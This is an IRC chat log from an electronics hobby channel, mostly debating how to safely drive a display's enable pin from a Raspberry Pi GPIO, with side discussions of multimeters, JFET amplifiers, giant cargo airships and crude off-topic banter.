ThePendulumgurki: to me it seems arrogant to think they are in fact still so inadvanced we need to give them some time to mature, hence I wondered if there was a clarification to what you're actually suggesting it even means
gurkiThePendulum: NKs big guy has a playstation
Encryptblight, What is the max reverse voltage before the diode will break?
ThePendulumgurki: is he any good at some of its games?
gurkiThePendulum: does this mean 90% of the country have formal education or a roof?
blightthe 4004? look it up, should be 400V but maybe evene 600V
ThePendulumgurki: it means that if he goes out and cheats in a shooter, we ban him for it, and don't say we can't do that because the rest of the country isn't playing
Encryptblight, Yes, 400V according to the datasheet
gurkiThePendulum: can you shove the "we" up your ass please?
gurkithere is no "we" as you state it
ThePendulumgurki: we'll all shove it up your ask if you wish
KamilionBut I have a mouse in my pocket.
Encryptblight, But there is also a "Non−Repetitive Peak Reverse Voltage" value & "RMS Reverse Voltage"
gurkitheres various countries with various interests. there has never been less "we" than right now
KamilionWe think you're not being inclusive of mouse-kind.
blighti guess the RMS matters for a rectifier
Encryptblight, The second one id DC I guess but what is the last one then?
Encryptis for DC*
ThePendulumit's in most of at least Europe's interest to get China to at least start caring about their emissions
blightah ok
SpeedEvilChina is installing a fuckton of solar.
ThePendulumthe US is temporarily inconvenienced for the discussion but they'll sort themselves out shortly I'm sure
gurkiThePendulum: why would europe give a f..
KamilionIs this about the toys being painted with lead paint?
blightnon-rep is maybe what you can do a few times, should be specified more detailed by the manufacturer in some document :p
gurkius and china are at 26 and 18% of worlds co2 emissions
blightthey should install some kind of rockets for faster shipping from alixpress
gurkieven if eu lowered its emissions substantially (which it actually did) in the grand scheme of things it wouldnt matter
gurkioh. btw. what is usas excuse in your oppinion?
gurkihow are they allowed to contribute 18%?
Kamilionblight: SCRAMjet delivery, sign here in 35 milliseconds or less...
ThePendulumgurki: allowed in what way? I don't think anyone was particularly keen on them stepping out of the Paris agreement
Encryptblight | they should install some kind of rockets for faster shipping from alixpress // Like a Falcon Heavy :D
ThePendulumSpeedEvil: good step in the right direction indeed, but it's a little, eh, how we say in Dutch, mopping the floor with the tap running :p
blightimagine you could get all that cheap stuff within a few days
SpeedEvilThePendulum: true.
blighti would order a bit more often then :p
SpeedEvilblight: someone in another channel made a reasonable case for very, very, very large airships as cargo transport.
SpeedEvilAs in kilometer or so thick.
gurkihow would this work? :S
SpeedEvilBasically like a normal airship, but you can make the skin out of inch thick fibreglass.
SpeedEvilAnd it carries more cargo than panamax carriers.
SpeedEvilmany tens of thousands of tons.
ThePendulumwhere do you land that?
Kamilionwho said it had to land?
SpeedEvilanywhere it damn wants.
gurkishouldnt the fuel/weight ratio go to shits at some point?
SpeedEvilgurki: no.
ThePendulumwell, do you just airdrop the load then? p
SpeedEvilgurki: To a first approximation, fuel economy gets better linearly.
Kamilionhumans invented something called a 'winch' and later, a 'crane'.
SpeedEvilThat is - 10* the length, 1/10th the fuel economy per mass.
KamilionI have heard that shipping docks have a lot of these named objects.
ThePendulumit could land in a field somewhere but inevitably you'll need to build a port for it to provide the infrastructure to carry its load to its final destination
Kamilion... A port for aircraft, you say?
Kamilionwhat a fantastic idea.
ThePendulumI'd say have fun landing a kilometer wide airship at LAX
SpeedEvilThePendulum: kilometer wide.
SpeedEvilmore like ten long.
Kamilioni think SpeedEvil meant to say 'kilometer thick'
ThePendulumnot entirely sure what thick would be in this context if not also inevitably a rough approximation of its width at the widest point
KamilionAnd I can think of a lot of bodies of still water it could hover over without being an air hazard.
ThePendulumthe diameter of the airfoil?
Sculptora lot of people think that falcon heavy launch was fake
SpeedEvilThePendulum: airship. Roughly circular body 1km in diameter, and 10km long.
ThePendulumKamilion: sure, but can you really conceive of a safe way to use cranes to unload it from a position in which it hovers above water?
ThePendulumSpeedEvil: would the cost of building that in the first place overcome that of running a tanker for a decade? lol
KamilionThePendulum: Sure. You overhang some section with cranes over a shipping dock. Like, say, the one in oakland.
Sculptorgravity rays
ThePendulumand damn that'd take up quite a lot of airspace, but then again, it'd also be pretty hard to miss. does seem easy to attack, though
SpeedEvilThePendulum: no, because you can run it back and forward 20 times or so faster than ships. More than that when you count overland being trivial.
Kamilionor you winch a whole barge up, fill it with cargo containers, winch it back down, and float it into port.
ThePendulumKamilion: well, for all intents and purposes, you'd be anchoring it, docking it in a very precise position, and even you're technically still hovering I'd argue that it's still a landing in the context of the question of where you'd construct the sites for it to do so
KamilionI mean, we're talking about something that a garbage scowbarge company might use to deliver four or more barges to an inland water body.
ThePendulumit can't land anywhere just because it doesn't have to touch the ground, you still need to construct the airports for them
ThePendulumand if you've gone the distance I'm not sure if it's ultimately easier to just pop it on the floor completely
durrfSculptor: you cant prove that its not fake!!
ThePendulumSculptor: I mean people think the Twin Towers were taken down with directed-energy weapons
KamilionThePendulum: Maxim 11: Everything is air-droppable at least once.
ThePendulumand that the Sandy Hook shooting was fake
durrfcrisis actors
durrfpaid for by the lizard people
KamilionI hear the world trade centers never actually fell, and is simply cloaked
ThePendulumI love the directed-energy 9/11 theory, because the thermite 9/11 conspiracy theorists think that the direct-energy conspiracy theory is in fact a conspiracy theory against them to make all 9/11 conspiracy theorists look ridiculous
ThePendulum(as if they needed help with that)
Kamilionwait, what? HAARP did 9/11?
ThePendulumit's like when al Quada bombed IS
durrfhaarp caused the lost airplane to crash
durrfit wasnt the station
ThePendulumbecause they thought IS was being too invasive in the west
ThePendulumit's strange that they all focus on whether or not the buildings were taken down the way they seemed to, rather than who is actually behind it. I'm a lot more interested in what led up to it than in how it actually happened
durrfi just want everyone to love each other
ThePendulumthat'd be a nice start
ThePenduluma good way to achieve this, Ben Shapiro thinks, is to shit all over John Lennon's Imagine and label it communist hippie liberal propaganda
gurkiyou are one funny guy
ThePendulumthat was not necessarily a joke lol
electrobotThePendulum just linked to Conservador estraçalha a mensagem esquerdista de "Imagine", de John Lennon - YouTube
ThePendulumwhy did electrobot translate that, lol
Viper-7ThePendulum: rofl
gurkiThePendulum: the fact that you even post it is the joke
Viper-7because google is dum
EncryptAnother thing that I don't really understand:
electrobotdurrf just linked to Ben Shapiro HATES Frozen!!!! - YouTube
EncryptPeak blocking voltage: 250V for MOC303XM / 400V for MOC304XM
ThePendulumgurki: eh, fair enough, I was just reminded of it by durf's comment and the point of that video is still an enigma to me, so I suppose maybe somewhere I was figuring I'd gain some new insight
ThePendulum(not the point he is making about the song, but the point of interpretating a song in a way no one I know ever has just to establish an utter disingenuous strawman to further your ideology)
ThePendulumdurrf: I think the premise of that is pretty much the same right? he doesn't want a kid's movie to be telling kids to just let it gooo, let it goo, they should take their bloody responsibility and deal with the eternal struggle that is life!
ThePendulum(which she actually ends up doing in the movie anyway >.>)
ThePendulumoh well
durrfall i can think of when i hear the name shapiro
georgiosmy father wants an analog multimeter but i know nothing about the market these days. are they expensive? are they any better than older professional multimeters? and what price ranges should i expect?
DocScrutinizer05Encrypt: hi!
EncryptDocScrutinizer05, Hello hello :)
EncryptDocScrutinizer05, I'm struggling to understand a few datasheets, ah ah :P
EncryptI've found a nice optocoupler btw to control via PWM my 7 inches screen
DocScrutinizer05well, why do you need a coupler for that?
ThePendulumgeorgios: I thought analogue multimeters /where/ the older professional and now pretty much obsolete multimeters lol
EncryptDocScrutinizer05, To be sure not to fry the Pi
DocScrutinizer05aah ok :-)
ThePendulumgeorgios: did he give any elaboration as to what he wants them to be analogue for?
EncryptDocScrutinizer05, And it seems to be cheaper than buying transistors to do the same thing
EncryptDocScrutinizer05, Here is the one I found:
EncryptDocScrutinizer05, It has a response time of 4µS
EncryptSo, I will be able to use a PWM signal @ 1kHz
georgiosThePendulum: continuous readings, possibility of measuring capacitance and other measurements he is used to but i dont understand
Viper-7Encrypt: that cant power a screen.
gurkithere _are_ fast coupler thingys around tho
gurkiad icoulper stuff eg
Viper-7a) if you hook that directly up to an IO pin on the pi, you'll burn out the pin driver, you need a resistor to limit the current to about 5mA. b) with about 5mA going into the LED, you can draw about 10mA from the output of that
EncryptViper-7, Actually, it's more complex than what you think :P
Viper-7you still need to use a transistor to amplify the available output current
Viper-7and if you have that transistor, you probably dont need the opto :P
gurkiyoure asking weird question for somebody doing utterly complec stuff
gurkienglish is utterly complex for me today. wtf.
EncryptViper-7, Check that out:
ThePendulumgeorgios: well almost all of that can be done more accurately with a digital multimeter afaik, even if it's just because it's a lot harder to read an analogue dial
ThePendulumgeorgios: I'm not sure if he's misinformed about multimeters or didn't clarify something he should've clarified
EncryptViper-7, I'll generate a PWM signal with the Pi and connect an optocoupler on the "EN" pin of the PT4103 chip which is pulled up with a 10k resistor
EncryptThe PWM will be sent to the optocoupler actually and periodically connect the "EN" pin to he ground
Viper-7"so our 3.3V signal should be enough to drive this and provide the 1uA drive current."
Viper-7you dont need the opto.
Viper-71k resistor from an IO pin on the pi, directly to the EN pin will do fine
ThePendulumgeorgios: not sure what his budget is, I have a Brymen BM257s, digital of course, but it has a bargraph, can measure capacitance, continuity, you name it
ThePendulumcosts about 125eu here and it has an excellent cost to feature and quality ratio, really depends on what he wants to spend and what he really wants when he says analogue which meter will come out on top
georgiosThePendulum: personally i think he is afraid to depart from his old way of working. hard to read for the experienced eye is not an issue.
EncryptViper-7, The thing is I don't want to unsolder the resistor :P
Viper-7Encrypt: you can even do that and leave the 10k resistor in place, so if the pi for some reason isnt generating the PWM signal, the backlight will be on
EncryptTo be sure I don't harm the screen and can reuse it if I want to (without re-soldering it, I don't trust my soldering skills)
ThePendulumgeorgios: any idea what meter he has now? digital multimeters are something of the past several decades, not just the fancy new thing
Viper-7yup, you just need to tack a wire on the correct side of the 10k resistor, which you'll need to do either way
Viper-7then that can go via a 1k resistor to an IO on the pi
georgiosThePendulum: i dont remember the brand but it is analogue for sure :P
ThePendulumwhen did DMMs start to prevail? I'm only 22 and my dad's was about a decade old at that point, so I'm not really sure when they got the upper hand
Viper-7the hardware default of the io drive strength on the pi is 8mA, a 1k resistor will mean a maximum of 3.3mA can be sourced/sunk at 3.3V, so well within the pi's tolerance
KamilionI was still using my dad's analog radio shack meter in 1994-1995
KamilionDon't think I got a cheap DMM till past y2k
Viper-7and the 1k resistor will form a 10/11 divider with the 10k pull-up on the board, so when the pi asserts 0V, the display will see 0.3V, which is still low enough for the display controller to interpret as a LOW
ThePendulumI see, so I guess it isn't entirely inconceivable someone is still using them today because they just haven't broken since
KamilionOh, totally.
ThePendulumbut aren't you severely limited in your choice if you want to get an analogue meter today? is there really a reason to other than nostalgia?
Bird|otherboxthere's no reason for an analog multimeter nowadays
Bird|otherboxnow, analog panel meters are still fine and dandy for some things
KamilionThePendulum: There are reasons.
Viper-7sure there is, its called steampunk.
electrobotKamilion just linked to (Two Six Pac's On The Bench - YouTube)
Bird|otherboxare there *any* analog meters that meet the current edition of IEC 61010?
n2hmm… slewing 6.48V in 130ns...
n2thats a slew rate of ~50V/us
n2that seems reasonable
ThePendulumKamilion: hm, for better visual impression?
Viper-7tho... even then
ThePendulumI guess bar graphs help with that
Viper-7would've been better with numitrons, but hey
Kamilionyou could say that.
ThePendulumgeorgios: has he used DMMs at some point and express a specific concern?
KamilionThePendulum: If you look at the fluke on the right, the display flickers a lot on his camera.
electrobotKamilion just linked to (Two Six Pac's On The Bench - YouTube)
EncryptViper-7, The EN pin is pulled up @5V
EncryptAccording to the blog post
ThePendulumKamilion: ah right, so if you're filming I suppose you might run into such issues. I'm not sure if georgios' dad is looking for a bench meter or a portable meter now you bring it up
KamilionAnd there's also calibration issues
Bird|otherboxyeah, analog meter movements can get their cal messed up without too much effort if you handle them roughly
Kamiliontemp variations, drastic changes in humidity...
KamilionI'm in silicon valley, barometric pressure changes here a lot depending on the state of the sky
Viper-7Encrypt: thats fine
ThePendulumKamilion: considering Bird's comment, do you mean this as a disadvantage of digital or analogue meters?
EncryptViper-7, But if I want the backlight fully on
ThePendulumI mean I know both will have some sensitivity
EncryptThen the Pi GPIO will act as a "open circuit"
EncryptMeaning I = 0, therefore, U = 5V > 3.3V tolerated
EncryptAm I wrong?
Kamilionwell, I can tell you I just bought on Feb 5th.
Viper-7again, with the 10k vs 1k resistors, that will pull the rpi pin up to 3.45V when the pi is driving it high, which is within its tolerance, and the EN pin should be at around 4.8V, which is high enough to be HIGH
Bird|otherboxKamilion, grab the labeler and label it CAT I ONLY? XD
ThePendulumKamilion: and it's already suffering under the crude barometric conditions of SV?
KamilionThePendulum: hasn't shown up yet, lol. My dad's old analog would wander before a storm though.
ThePendulum"Test stick" I love that
KamilionBird|otherbox: No need, I bought the black variant.
n2now THAT is a sexy ass power JFET
n2(the one to the right)
Viper-7hmm no, the EN pin will be a bit lower than that sorry
Bird|otherboxKamilion, heheh. what's the diff?
KamilionBird|otherbox: if it's not brightly colored, it doesn't belong anywhere near medium or high voltage.
ThePendulumKamilion: that thing is eerily offering a lot for that money... stay safe :p
Bird|otherboxoh! :D
KamilionBird|otherbox: no diff, I just don't like orange or red for a meter I don't trust.
Viper-7but meh, still above 3.5V, which is still enough for the display controller to understand as HIGH
ThePendulum"Please allow slight 1-3cm difference due to manual measurement and a little color variation for different display setting"
KamilionThePendulum: it's just a replacement for my vichy VC99. Loaned it to my dad and he never returned it.
ThePendulumslight 1-3cm difference, isn't that quite a fuckton for something like 20cm long? lol
KamilionI don't feel like buying another vichy VC99, it was kind of bulky, even though it was a decent meter for it's price of $27 from
ThePendulumnot even
Viper-7Encrypt: that being said, the datasheet for that controller suggests its actually using a 3.3V not 5V supply, so i question the accuracy of that blog post anyway :P
Kamilionthe aneng's about a quarter the size with the display only marginally smaller than the vichy
EncryptViper-7, You got me confused, ah ah
ThePendulumKamilion: well I guess I have to be humble, I decided to spent more money on a supposedly decent meter and it crashed a couple weeks after, had it replaced for free though, hopefully this one keeps itself together
Viper-7ah, ok, the PT4103 is running from 5V, the TFP401 is running from 3.3V, so his mod already only pulls the EN pin to 3.3V
Kamilionand I might pop the back off and shove a wifi chip in the back
EncryptViper-7, If you use a 1k resistor and build a voltage divider
Viper-7you'll be above that, so its fine
ThePendulumI couldn't find a single mention of the issue I had online so I'm pretty confident
Kamilionfigure I might follow along with sprite's outline.
EncryptViper-7, Then you have: Vcc --- R1 (= 10k) --- EN / Pi GPIO --- R2 (= 1k) --- GND
ThePendulumwell the good thing is that dangerous electricity is often visible :D in the split second before you die :D
Viper-7Encrypt: what no
Viper-75V -> R1 (10k) -> EN -> R2 (1k) -> Pi GPIO
ThePendulumcurious the spritesmod guys shows the contents of his tip jar on his web page
KamilionLet's just say i'm not exactly stupid enough to go poking around a 35kva three phase panel with the aneng, eh?
ThePendulumahh you got to live a lil'
Kamilionheck, I'm not even sure I'd do that even with a fluke.
CrazyLikeAFoxAnybody knomw if an SLA battery charger would get confused by ~3 amps of noral load in attion to 70ah worth of battery?
KamilionCrazyLikeAFox: yeah, depends on how much microprocessor control/monitoring is going on
Viper-7CrazyLikeAFox: it shouldnt
DocScrutinizer05Encrypt: yep, that coupler is perfect for your usecase
Viper-7DocScrutinizer05: you suggested the opto? why? :/
CrazyLikeAFox-it'll still need to output 3 amps when that batteries are on float, most of the time
Kamilionif it's just a dumb 80s batteryminder with a transformer and a couple status LEDs, most likely not.
DocScrutinizer05Viper-7: nope, I didn't
Viper-7DocScrutinizer05: all he needs is a resistor heh
DocScrutinizer05nope, he needs a level shifter
Viper-7the minimum high level for the EN pin on the chip he's trying to control is 1.5V
ThePendulumhmm I still have yet to need a shovel lifter for my ws2812bs
CrazyLikeAFoxKamilion: It's be soething a bit nicer, as it'd be on 24/7
DocScrutinizer05actually he doesn't need one, but it waould be more sfae for the rPi
ThePendulumlevel shifter*
Viper-7its perfectly ok with a 3.3V signal
hackkittenACTION loves finding super-old ICs on China-sourced boards :)
Viper-7as long as the resistor is > 600 ohms, and the voltage isnt above 5V, the pi will be fine
hackkittenokay, super-old => 1999 :P
CrazyLikeAFoxJUst have a power supply higher voltage than float + a diode drop normally power the inverter? :P
Viper-7i mean yeah he could use an opto, but he's only going to be pushing *more* current through the pi's IO pin driving that, and it'll limit his pwm frequency, and possibly even confuse the LED driver he's controlling, as the slew rate will be much slower
Viper-7and since its a boost converter, that could be bad
Viper-7so its not significantly safer for the pi, and significantly less safe for the display
DocScrutinizer05Viper-7: [2018-02-10 Sat 16:03:30] <DocScrutinizer05> well, why do you need a coupler for that? [2018-02-10 Sat 16:03:48] <Encrypt> DocScrutinizer05, To be sure not to fry the Pi /// I can't argue against that, it's a sane design goal and a valid appraoch to achieve it
Viper-7DocScrutinizer05: its just that i *just* finished explaining a more valid approach, when you commented about the opto being correct :P
DocScrutinizer05slew rate is in the 10us range 0..100%
DocScrutinizer05PWM frequency is in the kHz range MAX
DocScrutinizer05slew rate isn't a huge concern here
Viper-7yes, so thats in the whole numbers of percentage overall
DocScrutinizer05of course that thing can be done without coupler perfectly safe, but it definitely will work just fine with that coupler too
Viper-7DocScrutinizer05: its not a big problem i agree, but its one flaw among several, for a solution that just isnt required
Viper-7other flaws being cost, complexity, higher io drive strength required, etc
DocScrutinizer05the "higher IO drive strength" is negligible, the coupler has a CTR of min 50%, going up to even 600%
EncryptViper-7, Sorry for the question, but why is the 1k resistor needed?
DocScrutinizer05so depending on binning you could even consider it beneficial to "drive strength"
Viper-7if he wants decent slew rates, it has to be driven with at least 5mA
EncryptViper-7, If I directly connect the Pi GPIO to the EN pin, then I get I = 5/10000 = 0.5mA
Viper-7Encrypt: strictly speaking, even that could be omitted - the 10k pull-up wont throw enough current at the pi for it to be a concern, but that would rely on the clamping diodes to keep the voltage on the io pin within spec
EncryptWhen the output of the GPIO is "GND"
Viper-7by using a 1k resistor, you instead form a voltage divider, and the voltage presented to the pi never gets high enough to bias the protection diodes enough to conduct
n2fat drain current
DocScrutinizer05a decent design doesn't rely on clamp diodes. Such design is done by old experienced nasty EE only ;-)
n2with 50mA of bias current drive
EncryptViper-7, But as you mentioned:
EncryptViper-7 | 5V -> R1 (10k) -> EN -> R2 (1k) -> Pi GPIO
n2slew rate of 80V/us
n2I have joy for you, DocScrutinizer05
DocScrutinizer05decent design would implement the pullup on Pi side, to 3V3
EncryptThen, if you only consider the Pi, it is equivalent to have: 5V -> R1+R2 (=11k) -> Pi GPIO
DocScrutinizer05...or whatever the Vio of Pi
n2DocScrutinizer05: - - and check out the bandwidth at
n2It’s called Triton ‘cause it uses the three major transistor types, each in a good role :-P
EncryptWhen pulled up, the Pi GPIO has a voltage of 3.3V
EncryptNow I get it
CasperACTION corrupts Encrypt's keys
jaggztwhat voltages are induced in normal electronics as a result of "normal" em exposure?
Viper-7Encrypt: basically the 1k resistor is worth adding for protection, so that if, for some reason, the EN line is pulled directly to 0V or 5V, externally to the pull-up, no harm will come to the pi
paulo_ACTION decrypts Encrypt
n2jaggzt: depends on the type of electronics.
jaggztwhy don't we drop our V requirements down...
DocScrutinizer05n2: wait! current mirror without R in the common emitter?
n2DocScrutinizer05: oho, the JFET is the current source...
n2It acts as a constnat current source within a wiiide voltage range
n2so the bias current doesn’t vary with supply voltage
Viper-7Encrypt: if the pi has the pin in INPUT mode, so isnt driving it high or low, then the resistors will still attempt to apply 5V to the pin, and in that case you're relying on the clamping diodes
n2DocScrutinizer05: Q2 copies the current of Q1, which is the current of J1. :-D
jaggztso lower threshold on diodes (...transistors, etc.),
DocScrutinizer05n2: I see
n2DocScrutinizer05: there is, then, less than 5% variance from +5 to +25V...
n2which is much better than a resistor which of course varies a lot
n2so the performance is much more constant. :-D
n2AND the beautiful thing is, the JFET’s current can be tuned with a single resistor, which isn’t voltage dependent either
DocScrutinizer05nah, common R in *emitters*
n2because that resistor deals with the Vgs of the JFET, which is nigh constant
n2DocScrutinizer05: oh, M1?
DocScrutinizer05ignore me, I'm not yet at C0
jaggztearlier I realized that Chinese trying to come up with English names is Doge speak
n2The voltage gain is much too high to be used without feedback, DocScrutinizer05
n2So you add feedback resistors like an op amp.
jaggzta company on AliX was named "SoCouple"
n2The bandwidth graph has two resistors, 1.2K (from Vin) and 3.9K (from out to Vin)
Viper-7Encrypt: the opto does add an element of protection, while in normal operation that protection isnt required, its still sane to have protection like that to prevent any possible issues - my point from the start is that the 1k resistor provides a similar level of protection - the only thing it wont defend the pi from, which the opto would, would be eg if the EN pin was driven to mains
Viper-7voltage - but if that happens, you're probably pretty damn screwed anyway :P
n2so basically, the gain is programmable like an op amp
n2AND the bandwidth and slew rate are programmable at the BIAS terminal.
EncryptViper-7, Yeah :P
n2The more resistance you add there, the less bias current => the worse performance.
DocScrutinizer05sorry for my babbling, a current mirror never has a common-emitter-R
EncryptI understand your point now, thanks :)
n2And nope, DocScrutinizer05
n2It doesn’t ;-)
DocScrutinizer05ACTION tries hard to C2->C1, gets another coffee
n2DocScrutinizer05: the voltage gain without feedback is at least >100x
n2a 100mVpp sine wave makes it slam from Gnd to V+
n2with V+ being >12V
DocScrutinizer05n2: considered a dual-BJT matched-by-design component?
Viper-7Encrypt: if you really want to be safe, you could also add a schottky diode from the pi side of the 1k resistor, heading to the pi's 3.3V rail - this would be a discreet form of the clamping diode inside the io pin we mentioned, and protect the pin even while the pin is in INPUT mode
DocScrutinizer05n2: instead the two manually matched 2N3906
Viper-7but yeah, thats really not strictly required
DocScrutinizer05Viper-7: clamps diodes are always active, also in input mode
Viper-7DocScrutinizer05: correct
Viper-7DocScrutinizer05: a decent design doesn't rely on clamp diodes. Such design is done by old experienced nasty EE only ;-)
Viper-7such old experienced nasty EEs will even do mains frequency detection by connecting an IO pin to the mains, via a 100k resistor :P
Viper-7(been there done that, got the t-shirt)
Welkinwhy are they nasty?
SpeedEvilThere is a microchip app-note on that.
SpeedEvilThoguh IIRC they used 2*1M resistors
Viper-7yeah, atmel copied them and used a 100k heh
n2DocScrutinizer05: it’s also important that Q2 has a large thermal mass tied to it...
n2otherwise, it would run away at high bias currents or voltages
n2and draw 150mA and boil water
Viper-7Welkin: a few reasons - if something goes wrong, like a transient on the line, your circuit could go up in smoke - also it doesnt provide galvanic isolation, so if your circuit loses power, it could end up floating at mains voltage, which could be a shock hazard
gurkiViper-7: can we just conclude that this is a bad idea? pls? :P
Viper-7gurki: depends on the situation :P
SpeedEvilDone carefully, it's not bad.
SpeedEvilCarefully = understandng the risks and rating your components appropriately.
Viper-7if its a circuit that doesnt have or need isolation anyway, like a self contained dimmer + light, its totally fine
SpeedEvilIf it's not exposed to the user, it's not an issue at all.
Viper-7eg the RF controllable lights
gurkiwell. basically "insulating your board from anything else connected to it" and "put it in some encasing never to be opened by anyone besides yourself"
SpeedEvilIf it's connected with resistors that can stand surges equal to what transformers have to not break down at, then it's also fine.
gurkia lot of ppl wont mind touching things once they see some uc involved in some circuit
EncryptViper-7, With the schotky diode, it sounds like a good idea :P
Sculptorwhy doesn't it work
SpeedEvilToday the proper approach is to put phase sensing in 1/100th of the units, and to download the phase of the mains from the cloud.
Mangy_Dogthat cable is a mirrored uncrossover cable
DocScrutinizer05n2: when the two BJT of mirror are thermally coupled, I think the risk of thermal runaway is massively reduced
Viper-7crowdsourced zcd
SculptorMangy_Dog, mirrored?
Mangy_Dogif you dont have a smart eathernet socket, you need a crossover cable to connect computer to computer
SculptorMangy_Dog, computer to router
Sculptori need it for that
Mangy_Dogmirrored as in same pin on each end
Sculptoras it should be
Mangy_Dogshould work for routers
Sculptorbut it doesn't work
mra90guys my scope doesn't allow me to position signal
mra90"parameter limit" in vertical direction
mra90what;s wring?
Mangy_Dogbut also... most (tbh ill bet all) made in the last 5 years cards have automatic crossover conversion on the circuitry
EncryptViper-7, Or then, a Zener diode
Viper-7Encrypt: meh
Mangy_Dogscultor there doesnt apepar to be anything wrong with the plug end... myguess broken core somewhere in the cable
Sculptorcould be
Mangy_Doguse a circuit tester and check each end see if one fails
Sculptori can check pin by pin with a conductivity tester
EncryptViper-7, Your solution will probably have a better efficiency than the optocoupler solution
Sculptori have two cat 6a keystone connectors on stock
Sculptorwill make the check easier
Viper-7Encrypt: zeners arent precision devices - they start conducting below their rated voltage, and dont conduct *well* until above it - their rating is just the 'knee' of that curve
Viper-7Encrypt: if you'd remove the 10k pull-up, its efficiency will be the best possible of any solution :P
EncryptViper-7, Yeah x)
DocScrutinizer05Encrypt: I stringly suggest you remove any pull-up/down Rs on EN pin side on display, and connect a 10k to rPi and on rPi you either dive output pushpull if available or you add a pull-up/down R as required, to *the rPi's Vio*
EncryptBut I don't want to torture that poor little screen
DocScrutinizer05or you go for your coupler design which is a nice generic idea for protecting rPi
DocScrutinizer05with coupler you even can choose freely whether you want inverting or non-inverting design, aka normally-active or normally-off
Viper-7Encrypt: smd resistors arent hard to remove with an iron, it basically just wipes them off :P
gurkiViper-7: the hard part is not to blow the pads when you just have one iron
gurkihm. i should get me some tweezer iron at some point
Viper-7using an opto to drive a PWM-able digital logic input is massive overkill - you'll still need a pull up or down on the output side, you'll still need a current limiting resistor on the pi side, and since both devices are powered from the same supply, theres no practical advantage to the isolation
Viper-7if i was approaching this myself, i *might* use a transistor, but thats more out of habit and laziness at giving the problem proper consideration
Viper-7another quite valid approach would even be leaving the 10k resistor in place, adding a 10k resistor to ground, and using the 1k resistor to the pi's io - this resolves the 5V to a floating input issue, but still allows the pi to drive the line either way to within the logic thresholds of the receiving part
Viper-7which is probably smarter than the diode, but eh
Viper-7and again, it'd waste a bit more current
N0ZYChuh. y'know "capton tape" - that red tape they use with electronics for solder mask shielding and electrical insulation (aka polyimide film)
Viper-7kapton, yes :P
N0ZYCits apparently available in larger pieces.
password2lol Viper-7 I finally updated ths :P
N0ZYCfor *larger* prices
password2if you can even still remember that project
Viper-7lol solid rod
N0ZYCI saw that and was like oh cool it comes in a bar, that would make a nice dowel... then I see the price.
Viper-7"to use a lighting in the room and of coarse tel me the time"
N0ZYCor maybe a geek's wedding ring
password2N0ZYC, interesting dildo material
Viper-7i think the tiny part of me that actually paid attention in english class just died.
N0ZYCdon't have to worry about damage from heat created due to friction
N0ZYCmakes me wonder a bit what its characteristic are like
N0ZYCconsidering how extreme the film tape is
N0ZYCvery high melt temp, very high electrical insulator, very hard to damage
Viper-7Encrypt: in fact the more i think about that last suggestion, the more i like it.
N0ZYCvery hard to deform
N0ZYCI don't think I can even hazard a guess as to its weight
password2lol , i accidentally earched for polyamide
password2on aliex
N0ZYCfind anything interesting?
password2see for yourself
N0ZYCoh dear
Caspero.O 24G (which include the pagefile) for a win7pro full update, once proprelly cleaned up o.O small O.o
Viper-7Encrypt: the math is a bit more annoying to work out to prove it, but eh - it would mean the pin naturally sits at 2.5V, which is high enough for the LED driver to be enabled from, when the pi drives the line high, it would rise to 3.3V, which does basically nothing, and when the pi drives the line low, it would be slightly lower than we predicted earlier, so it would be plenty low enough
Viper-7to disable it
password2i love that aliexpress has rolls like these
N0ZYCsee what you brought up with the dildo comment?
Viper-7and.. the whole solution is just 2 resistors, and doesnt require you removing the existing pull-up :P
password2N0ZYC, i default to dildo in this room , idk why
Viper-7password2: i have one of those
N0ZYCforgot you didn't have 4chan frontmost huh
password2a dildo?
Viper-7(200mm x 33M roll of kapton, not a dildo)
password2I'm sure aliexpress will hook you up
Viper-7i could print one, but eh
password2you'll need to back fill it
password2or something
password2i wonder if i still have the svg for my led clock!
N0ZYCyes I saw the wide rolls earlier, I assume they are masking out large parts of motherboards for reflows
password2N0ZYC, 3d printers
password2of mobos
N0ZYCoh really? why?
password2people like using kapton on their 3d printer
N0ZYCwhere? bed?
password2yeah , they print on it
Viper-7i printed a small rocket with very small layer height so it was quite smooth, but just a single perimeter (spiral vase) - a friend of my old housemate took it, and took photos of shoving it his girlfriend
Viper-7so eh :P
N0ZYC100ft jesus
Viper-7N0ZYC: yup, bed liner, and yup, a lifetime supply :P
N0ZYC$22. that's amazing
password2shoving it in his girlfriend?
N0ZYCconsidering how much the small rolls used to cost me
Viper-7i've replaced the lining on my 220mm long bed... 4 times since i got the printer
N0ZYCwhen I worked for an AASP doing apple warranty repair apple marked them up to something like $30/roll
password2i love tapes
Viper-7so ive used about 2.5% of it
password2one day I'd like to build up a collection of tapes
Viper-7in what.. 2 years?
N0ZYChah, guess that IS a lifetime supply for you
Viper-7maybe a bit more
password2more prolly
N0ZYCthe good stick and high temp though should work well for that
password2you forget how cheap i am
gurkiACTION buys password2 for .40
password2hopefully in april i will make a large purchase or two
password2gurki, you want change with that?
Viper-7i've seen people selling 100mm x 1ft strips of kapton for $2 each
password2i read that as 100M x 1ft
password2thought it was absolutely massive roll
Viper-7nope, 30cm x 10cm
password2lol aliex has cheap rolls
Viper-7considering a 30M roll of 100mm costs about $8, thats only 2500% markup :D
password2$13 for 100mmx30m
Viper-7thats more expensive than when i last looked
RoChessViper-7, maybe cost of shipping absorbed?
Viper-7RoChess: it was at a brick & mortar
Viper-7yeah it has gone up a bit, $10 flat
password2i finally found an ping example for esp32 , but it only pings once , the second time it never finishes
gurkii suppose it is time to try to understand that code :P
Mangy_DogACTION wavies
password2gurki, the docs is so sparse though
password2and the example does not seem broken
password2idk what to do aboutit
DocScrutinizer05Viper-7: (use a transistor) use a FET as levelshifter seems a very smart approach
DocScrutinizer05levelshifter doesn't offer current amplification but ... umm.. shifts high level thus isolating rPi input from too high voltages
DocScrutinizer05and literally all you need is the FET
Viper-7and a gate resistor
DocScrutinizer05not in levele shifter iirc
Viper-7the pi io pin is driving a capacitive load (the gate), at frequency
Viper-7each transition pushes the pin driver beyond its absolute maximum allowed voltage drop
DocScrutinizer05you don't drive the gate
DocScrutinizer05gate is at GND
DocScrutinizer05err Vio
DocScrutinizer05of low side
Viper-7DocScrutinizer05: yes you do, but thats also not a complete level shifter
Viper-7in your image, when the left side goes low, the right side floats
Viper-7DocScrutinizer05: you dont have to have the io pin connected to the gate to have the gate current flowing through the io pin :P
DocScrutinizer05no, the right side goes low too
Viper-7if its connected to the source, or even to the drain via the body diode, that counts
Viper-7DocScrutinizer05: nope
Viper-7DocScrutinizer05: also, even in your image, the input side still has resistors.
DocScrutinizer05that's irrelevant
